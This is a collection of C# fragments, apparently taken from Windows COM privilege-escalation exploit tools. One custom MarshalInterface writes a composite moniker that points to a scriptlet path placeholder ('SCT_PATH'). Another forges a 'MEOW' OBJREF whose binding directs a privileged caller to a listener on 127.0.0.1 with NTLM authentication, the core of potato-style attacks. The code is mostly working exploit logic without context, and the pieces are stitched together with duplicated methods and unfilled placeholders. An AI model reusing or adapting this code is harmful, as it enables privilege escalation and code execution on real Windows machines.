public void MarshalInterface(ImmIStream pStm, ref Guid riid, IntPtr pv, uint dwDestContext, IntPtr pvDestContext, uint mshlflags) { Console.WriteLine(">> " + GetCurrentMethod()); uint count_written; pStm.Write(new byte[] { 0x00, 0x00 }, 2, out count_written); Random random = new Random(); pStm.Write(new byte[] { (byte)random.Next(0, 255), (byte)random.Next(0, 255), (byte)random.Next(0, 255), (byte)random.Next(0, 255), (byte)random.Next(0, 255), (byte)random.Next(0, 255), (byte)random.Next(0, 255), (byte)random.Next(0, 255), (byte)random.Next(0, 255), (byte)random.Next(0, 255) }, 10, out count_written); pStm.Write(qc_mi_guid.ToByteArray(), 16, out count_written); pStm.Write(new byte[] { (byte)random.Next(0, 255), (byte)random.Next(0, 255), (byte)random.Next(0, 255), (byte)random.Next(0, 255) }, 4, out count_written); pStm.Write(composite_moniker_guid.ToByteArray(), 16, out count_written); pStm.Write(new byte[] { 0x02, 0x00, 0x00, 0x00 }, 4, out count_written); ComTypes.IBindCtx bind_context; ImmIMoniker file_moniker = null; object new_moniker = null; uint CLSCTX_ALL = (uint)CLSCTX.CLSCTX_INPROC_SERVER | (uint)CLSCTX.CLSCTX_INPROC_HANDLER | (uint)CLSCTX.CLSCTX_LOCAL_SERVER | (uint)CLSCTX.CLSCTX_REMOTE_SERVER; ImmComTypes.CreateBindCtx(0, out bind_context); string sct_path = "SCT_PATH"; ImmComTypes.CreateFileMoniker(sct_path, out file_moniker); ImmComTypes.CoCreateInstance(new_moniker_guid, IntPtr.Zero, CLSCTX_ALL, iunknown_guid, out new_moniker); ImmComTypes.OleSaveToStream((ImmIPersistStream)file_moniker, pStm); ImmComTypes.OleSaveToStream((ImmIPersistStream)new_moniker, pStm); }
public void ReleaseMarshalData(ImmIStream pStm) { Console.WriteLine(">> " + GetCurrentMethod()); }
public void UnmarshalInterface(ImmIStream pStm, ref Guid riid, out IntPtr ppv) { Console.WriteLine(">> " + GetCurrentMethod()); ppv = IntPtr.Zero; }
public void OpenStream(string pwcsName, IntPtr reserved1, uint grfMode, uint reserved2, out ImmIStream ppstm) { Console.WriteLine(">> " + GetCurrentMethod()); storage.OpenStream(pwcsName, reserved1, grfMode, reserved2, out ppstm); }
public static extern void OleSaveToStream(ImmIPersistStream pPStm, ImmIStream pStm);
public void MarshalInterface(ImmIStream pstm, ref Guid riid, IntPtr pv, uint dwDestContext, IntPtr pvDestContext, uint MSHLFLAGS) { Console.WriteLine(">> " + GetCurrentMethod()); byte[] interface_bytes; MemoryStream stream = new MemoryStream(); BinaryWriter writer = new BinaryWriter(stream); Guid iid_iunknown = new Guid("00000000-0000-0000-C000-000000000046"); // MEOW magic number writer.Write(new byte[] { 0x4D, 0x45, 0x4F, 0x57 }); // OBJREF_STANDARD writer.Write(0x00000001); // IUnknown GUID writer.Write(iid_iunknown.ToByteArray()); // OBJREF_STANDARD writer.Write(0); // Flags writer.Write(1); // cPublicRefs Random id_generator = new Random(); byte[] oxid_bytes = new byte[8]; byte[] oid_bytes = new byte[8]; byte[] ipid_bytes = new byte[16]; id_generator.NextBytes(oxid_bytes); id_generator.NextBytes(oid_bytes); id_generator.NextBytes(ipid_bytes); writer.Write(oxid_bytes); writer.Write(oid_bytes); writer.Write(ipid_bytes); // DualStringArray structure // Binding strings MemoryStream bs_stream = new MemoryStream(); BinaryWriter bs_writer = new BinaryWriter(bs_stream); byte[] bs; ushort tower_id = 7; // TCP bs_writer.Write(tower_id); bs_writer.Write(Encoding.Unicode.GetBytes("127.0.0.1[SERVER_PORT]\0")); bs_writer.Write((ushort)0); bs = bs_stream.ToArray(); // Security bindings MemoryStream sb_stream = new MemoryStream(); BinaryWriter sb_writer = new BinaryWriter(sb_stream); byte[] sb; // RPC_C_AUTHN_WINNT sb_writer.Write((ushort)0x0a); sb_writer.Write((ushort)0xffff); sb_writer.Write((ushort)0); sb_writer.Write((ushort)0); sb = sb_stream.ToArray(); // Write total length of DualStringArray // Total length of DSA writer.Write((ushort)((bs.Length + sb.Length) / sizeof(ushort))); // Offset to security writer.Write((ushort)(bs.Length / sizeof(ushort))); // Write string bindings writer.Write(bs); // Write security bindings writer.Write(sb); writer.Close(); interface_bytes = stream.ToArray(); stream.Close(); uint count_written = 0; pstm.Write(interface_bytes, (uint)interface_bytes.Length, out count_written); }